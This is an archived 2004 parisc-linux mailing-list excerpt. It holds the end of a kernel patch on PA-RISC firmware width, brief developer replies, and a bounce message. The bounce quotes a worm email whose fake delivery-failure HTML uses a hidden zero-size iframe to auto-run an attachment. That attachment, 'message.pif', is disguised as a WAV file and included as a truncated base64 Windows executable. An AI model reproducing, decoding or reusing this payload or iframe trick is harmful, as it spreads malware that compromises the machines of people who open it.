-	for(i = 31; i >= 0; --i)
-		addr[i] = p[i];
+	unsigned int *p = (unsigned int *)addr;
+
+	if(unlikely(parisc_narrow_firmware)) {
+		for(i = 31; i >= 0; --i)
+			addr[i] = p[i];
+	}
+#endif
+}
+
+/**
+ * set_firmware_width - Determine if the firmware is wide or narrow.
+ * 
+ * This function must be called before any pdc_* function that uses the convert_to_wide
+ * function.
+ */
+void __init set_firmware_width(void)
+{
+#ifdef __LP64__
+	int retval;
+
+        spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_CAPABILITIES, __pa(pdc_result), 0);
+	convert_to_wide(pdc_result);
+	if(pdc_result[0] != NARROW_FIRMWARE)
+		parisc_narrow_firmware = 0;
+        spin_unlock_irq(&pdc_lock);
 #endif
 }
 
Index: arch/parisc/kernel/head64.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head64.S,v
retrieving revision 1.7
diff -u -p -r1.7 head64.S
--- a/arch/parisc/kernel/head64.S	1 May 2004 20:03:11 -0000	1.7
+++ b/arch/parisc/kernel/head64.S	4 May 2004 01:14:42 -0000
@@ -165,7 +165,6 @@ common_stext:
 	tophys_r1	%r10
 	std		%r11,  TASK_PT_GR11(%r10)
 
-#ifndef CONFIG_PDC_NARROW
 	/* Switch to wide mode; Superdome doesn't support narrow PDC
 	** calls.
 	*/
@@ -175,7 +174,6 @@ common_stext:
 	bv		(%rp)
 	ssm		PSW_SM_W,%r0
 2:
-#endif /* CONFIG_PDC_NARROW */
 
 	/* Set Wide mode as the "Default" (eg for traps)
 	** First trap occurs *right* after (or part of) rfi for slave CPUs.
Index: arch/parisc/kernel/processor.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/processor.c,v
retrieving revision 1.3
diff -u -p -r1.3 processor.c
--- a/arch/parisc/kernel/processor.c	18 Oct 2003 01:01:12 -0000	1.3
+++ b/arch/parisc/kernel/processor.c	4 May 2004 01:14:42 -0000
@@ -276,6 +276,7 @@ int __init init_per_cpu(int cpunum)
 	int ret;
 	struct pdc_coproc_cfg coproc_cfg;
 
+	set_firmware_width();
 	ret = pdc_coproc_cfg(&coproc_cfg);
 
 	if(ret >= 0 && coproc_cfg.ccr_functional) {
Index: arch/parisc/kernel/setup.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/setup.c,v
retrieving revision 1.4
diff -u -p -r1.4 setup.c
--- a/arch/parisc/kernel/setup.c	14 Apr 2004 06:18:39 -0000	1.4
+++ b/arch/parisc/kernel/setup.c	4 May 2004 01:14:42 -0000
@@ -121,8 +121,11 @@ void __init setup_arch(char **cmdline_p)
 
 	pdc_console_init();
 
-#ifdef CONFIG_PDC_NARROW
-	printk(KERN_INFO "Kernel is using PDC in 32-bit mode.\n");
+#ifdef __LP64__
+	extern int parisc_narrow_firmware;
+	if(parisc_narrow_firmware) {
+		printk(KERN_INFO "Kernel is using PDC in 32-bit mode.\n");
+	}
 #endif
 	setup_pdc();
 	setup_cmdline(cmdline_p);
Index: include/asm-parisc/pdc.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pdc.h,v
retrieving revision 1.4
diff -u -p -r1.4 pdc.h
--- a/include/asm-parisc/pdc.h	21 Dec 2003 13:13:10 -0000	1.4
+++ b/include/asm-parisc/pdc.h	4 May 2004 01:14:49 -0000
@@ -949,6 +949,7 @@ int pdc_tod_read(struct pdc_tod *tod);
 int pdc_tod_set(unsigned long sec, unsigned long usec);
 
 #ifdef __LP64__
+void set_firmware_width(void);
 int pdc_mem_mem_table(struct pdc_memory_table_raddr *r_addr,
 		struct pdc_memory_table *tbl, unsigned long entries);
 #endif

--=-6F4BNpa4embhfpzG3xTy--



From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hwinfo_7.30-2: suggested patch
Date: Sun, 2 May 2004 16:33:54 +0300 (EEST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0405021145030.30865-100000__180.659702937369$1416623431$gmane$org@hal.pp.fishpool.fi>
References: <20040501142755.GB28250@austin>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416623431 9229 80.91.229.3 (22 Nov 2014 02:30:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:31 +0000 (UTC)
Cc: PARISC list <parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org>,
	debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
To: Morten Werner Olsen <werner-0LiWvn2yMWjUKW2QJMybhA@public.gmane.org>
Original-X-From: q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org  Mon May  3 19:49:22 2004
Return-Path: <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
Delivered-To: parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org
Original-Received: from hal.pp.fishpool.fi (seven.fishpool.fi [195.197.229.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30881487C
	for <parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org>;
	Mon,  3 May 2004 19:49:22 -0600 (MDT)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 1BKH6Q-0002j7-00; Sun, 02 May 2004 16:33:54 +0300
In-Reply-To: <20040501142755.GB28250@austin>
X-Archive: encrypt
X-BeenThere: parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org>
List-Help: <mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 01:49:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21595

On Sat, 1 May 2004, Morten Werner Olsen wrote:

> On Wed, Apr 28, 2004 at 09:23:56PM +0300, Martin-=C9ric Racine wrote:
>=20
> > Is any other work required beyond the patch you already submitted to th=
e
> > maintainer?  If so, just how much is needed?  I have some time to spare=
=2E
>=20
> I don't think there is more work than including the already written
> patch to get the package compiling on hppa.
>=20
> The important issue is that I will not include support for hppa if the
> package is not of any use for the hppa users and developers. So please te=
st
> it and see if you find the information that is provided of any interest.

Joel had built and tested it on a B180 and found the results usefull.

I just applied the patch and tested on a 712. Works great. I'm not sure if =
all
the PA-RISC specific hardware gets tested, but at least what I get out of t=
his
patch is already quite usefull to me.  I'd say merge it.

--=20
Martin-=C9ric Racine, ICT Consultant
http://www.pp.fishpool.fi/~q-funk/





From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Changing hppa default on panic to "reboot after
	180 seconds"?
Date: Sun, 2 May 2004 00:33:41 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20040502043341.GA12850@baldric.uwo.ca>
References: <20040501223343.GX12850@baldric.uwo.ca>
	<20040501224554.GY12850@baldric.uwo.ca>
	<20040501225507.GZ12850@baldric.uwo.ca>
	<20040502005516.GE2281@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623431 9232 80.91.229.3 (22 Nov 2014 02:30:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: carlos@baldric.uwo.ca  Mon May  3 20:08:51 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 402B8482F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 May 2004 20:08:51 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BK8fd-0004Oy-00; Sun, 02 May 2004 00:33:41 -0400
Content-Disposition: inline
In-Reply-To: <20040502005516.GE2281@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (83% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 02:08:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21596

> We already output the msg; doing this would output it twice ...

So... the box is burning and in flames, printing it twice is a double 
reminder of the error?

The first time we print it along with a long string of other items,
followed by a register dump. The second time the kernel prints it just
before it does a proper panic and honours the panic=XX kernel option.

The cleanest fix is to register show_regs on the panic notifiers so it
can get printed after the panic() message. That way we don't have to
print our message, instead panic() prints it for us and then runs the
list of panic notification functions (the pdc chassis lights are
registered here too). Now that sounds like a lot of work for a dying
box...

or

We just print it twice... <- Easy fix ;o)

c.




From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa glibc status 2004-05-01
Date: Mon, 3 May 2004 15:19:11 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20040503191911.GD5274@baldric.uwo.ca>
References: <20040501180143.GW12850@baldric.uwo.ca>
	<408D439D00004B0C@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623431 9234 80.91.229.3 (22 Nov 2014 02:30:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Mon May  3 20:08:52 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21EAA482F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 May 2004 20:08:52 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BKiy8-000281-00; Mon, 03 May 2004 15:19:12 -0400
Content-Disposition: inline
In-Reply-To: <408D439D00004B0C@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (2% Sync Ratio [..........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 02:08:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21597

On Mon, May 03, 2004 at 04:28:05PM +0000, Joel Soete wrote:
> Just finished the make -k check of the today cvs co (ie 20040503) and no
> more Errors then well known ones :)
> 
> Thanks a lot,
>     Joel

Thanks for checking!

c.



From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery System <Mailer-Daemon@imperial.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mail delivery failed: returning message to sender
Date: Mon, 03 May 2004 08:41:58 +0100
Lines: 157
Approved: news@gmane.org
Message-ID: <E1BKY5O-0007kj-02@mr2.cc.ic.ac.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623431 9237 80.91.229.3 (22 Nov 2014 02:30:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Mon May  3 21:26:23 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mr2.cc.ic.ac.uk (mr2.cc.ic.ac.uk [155.198.5.112])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1877F482F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 May 2004 21:26:23 -0600 (MDT)
Original-Received: from exim by mr2.cc.ic.ac.uk with local (Exim 3.36 #1)
	id 1BKY5O-0007kj-02
	for parisc-linux@lists.parisc-linux.org; Mon, 03 May 2004 08:41:58 +0100
X-Failed-Recipients: p.owen@imperial.ac.uk
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 03:26:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21598

This message was created automatically by mail delivery software (Exim).

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  p.owen@imperial.ac.uk
    This message has been rejected because it has
    a potentially executable attachment "message.pif"
    This form of attachment has been used by
    recent viruses or other malware.
    If you meant to send this file then please
    package it up as a zip file and resend it.

------ This is a copy of the message, including all the headers. ------
------ The body of the message is 39519 characters long; only the first
------ 5120 or so are included here.

Return-path: <parisc-linux@lists.parisc-linux.org>
Received: from [203.81.210.3] (helo=ic.ac.uk)
	by mr2.cc.ic.ac.uk with esmtp (Exim 3.36 #1)
	id 1BKY4d-0007ij-02
	for p.owen@imperial.ac.uk; Mon, 03 May 2004 08:41:11 +0100
From: parisc-linux@lists.parisc-linux.org
To: p.owen@imperial.ac.uk
Subject: Delivery Bot (p.owen@ic.ac.uk)
Date: Mon, 3 May 2004 12:41:11 +0500
MIME-Version: 1.0
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_000_001B_01C0CA81.7B015D10"
X-Priority: 1
X-MSMail-Priority: High
Message-Id: <E1BKY4d-0007ij-02@mr2.cc.ic.ac.uk>

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C0CA81.7B015D10
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_001C_01C0CA81.7B015D10"

------=_NextPart_001_001C_01C0CA81.7B015D10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

------=_NextPart_001_001C_01C0CA81.7B015D10
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff><br>Mail Delivery Failure - This mail couldn't be shown.<br><br>------------- failed message -------------<br>:MeF+*CB|HPjbZ)*Y?!0A9>%|W,a49LWz1a3E|n1<br><k(%g,I%>Rxh4C-*abV!Ha,+->2'b&<06f4j%(5i-cVPJ<br>i6O'__LX<NBWyPk1-Fh+rz_KoXR.|76#KqSz2qnUpjR<br>,0!DHJ+wwAAnazOYo7CL6-bY~D3R4*dw0U7(<br><br>Translated message has been attached.<br>

Or you can view the message at:<br><br>
<a href=3Dcid:121401Mfdab4$3f3dL780$75387018@57W81fa70Re height=3D0 width=3D0>www.ic.ac.uk/inmail/p.owen/mread.php?sessionid-26313</a>
<iframe
src=3Dcid:121401Mfdab4$3f3dL780$75387018@57W81fa70Re height=3D0 width=3D0></iframe> 
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_001_001C_01C0CA81.7B015D10--

------=_NextPart_000_001B_01C0CA81.7B015D10
Content-Type: audio/x-wav;
	name="message.pif"
Content-Transfer-Encoding: base64
Content-ID:<121401Mfdab4$3f3dL780$75387018@57W81fa70Re>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAxzIXZda3rinWt64p1reuKda3qimet64oXsviKcK3rip2y
4Ip3reuKzavtinSt64pSaWNoda3rigAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRpdGUgKGMp
MTk5OSBJYW4gTHVjay4AAFBFAABMAQMA76BkQAAAAAAAAAAA4AAPAQsBBgAABAAAAGYAAAAA
AABCoAAAABAAAAAgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAALAAAAAEAAAAAAAA
AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/KEAANAAAAAAQAAAaF8AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAMAAAABAAAAAGAAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAAGAAAABAAABoXwAA
AA4AAAAAAAAAAAAAAAAAAEAAAEAucGV0aXRlAMwCAAAAoAAAAAQAAAAEAAAAAAAAAAAAAAAA
AABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
